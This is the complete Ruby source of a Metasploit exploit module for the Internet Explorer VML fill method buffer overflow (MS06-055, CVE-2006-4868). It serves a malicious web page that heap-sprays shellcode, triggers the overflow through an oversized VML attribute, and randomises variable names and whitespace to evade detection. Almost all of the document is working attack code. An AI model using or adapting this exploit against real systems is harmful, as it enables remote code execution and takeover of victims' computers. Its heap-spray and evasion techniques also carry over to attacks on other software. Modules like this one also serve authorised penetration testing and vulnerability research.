Microsoft Internet Explorer – ‘VML’ Fill Method Code Execution (MS06-055) (Metasploit)
## # $Id: ms06_055_vml_method.rb 9669 2010-07-03 03:13:45Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, 'Name' => 'Internet Explorer VML Fill Method Code Execution', 'Description' => %q{ This module exploits a code execution vulnerability in Microsoft Internet Explorer using a buffer overflow in the VML processing code (VGX.dll). This module has been tested on Windows 2000 SP4, Windows XP SP0, and Windows XP SP2. }, 'License' => MSF_LICENSE, 'Author' => [ 'hdm', 'Aviv Raff <avivra [at] gmail.com>', 'Trirat Puttaraksa (Kira) <trir00t [at] gmail.com>', 'Mr.Niega <Mr.Niega [at] gmail.com>', 'M. Shirk <shirkdog_list [at] hotmail.com>' ], 'Version' => '$Revision: 9669 $', 'References' => [ ['CVE', '2006-4868' ], ['OSVDB', '28946' ], ['MSB', 'MS06-055' ], ['BID', '20096' ], ], 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00", }, 'Platform' => 'win', 'Targets' => [ ['Windows NT 4.0 -> Windows 2003 SP1', {'Ret' => 0x0c0c0c0c} ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Sep 19 2006')) end def on_request_uri(cli, request) # Re-generate the payload return if ((p = regenerate_payload(cli)) == nil) # Determine the buffer length to use buflen = 1024 if (request.headers['User-Agent'] =~ /Windows 5\.[123]/) buflen = 65535 end # Encode the shellcode shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) # Get a unicode friendly version of the return address addr_word = [target.ret].pack('V').unpack('H*')[0][0,4] # Select a random VML element to use vmls = %w{ rect roundrect line polyline oval image arc curve } vmlelem = vmls[ rand(vmls.length) ] # The overflow buffer for the method attribute buffer = ("&#x" + addr_word + ";") * buflen # Generate a random XML namespace for VML xmlns = rand_text_alpha(rand(30)+2) # Randomize the javascript variable names var_buffer = rand_text_alpha(rand(30)+2) var_shellcode = rand_text_alpha(rand(30)+2) var_unescape = rand_text_alpha(rand(30)+2) var_x = rand_text_alpha(rand(30)+2) var_i = rand_text_alpha(rand(30)+2) # Build out the message content = %Q| <html xmlns:#{xmlns} = " urn:schemas-microsoft-com:vml " > <head> <style> #{xmlns}\\:* { behavior: url(#default#VML) ; } </style> <body> <script> var #{var_unescape} = unescape ; var #{var_shellcode} = #{var_unescape}( "#{shellcode}" ) ; var #{var_buffer} = #{var_unescape}( "%u#{addr_word}" ) ; while (#{var_buffer}.length <= 0x400000) #{var_buffer}+=#{var_buffer} ; var #{var_x} = new Array() ; for ( var #{var_i} =0 ; #{var_i} < 30 ; #{var_i}++ ) { #{var_x}[ #{var_i} ] = #{var_buffer}.substring( 0 , 0x100000 - #{var_shellcode}.length ) + #{var_shellcode} + #{var_buffer}.substring( 0 , 0x100000 - #{var_shellcode}.length ) + #{var_shellcode} + #{var_buffer}.substring( 0 , 0x100000 - #{var_shellcode}.length ) + #{var_shellcode} + #{var_buffer}.substring( 0 , 0x100000 - #{var_shellcode}.length ) + #{var_shellcode} ; } </script> <#{xmlns}:#{vmlelem}> <#{xmlns}:fill method = "#{buffer}" /> </#{xmlns}:#{vmlelem}> </body> </html> | content = Rex::Text.randomize_space(content) print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...") # Transmit the response to the client send_response_html(cli, content) # Handle the payload handler(cli) end end |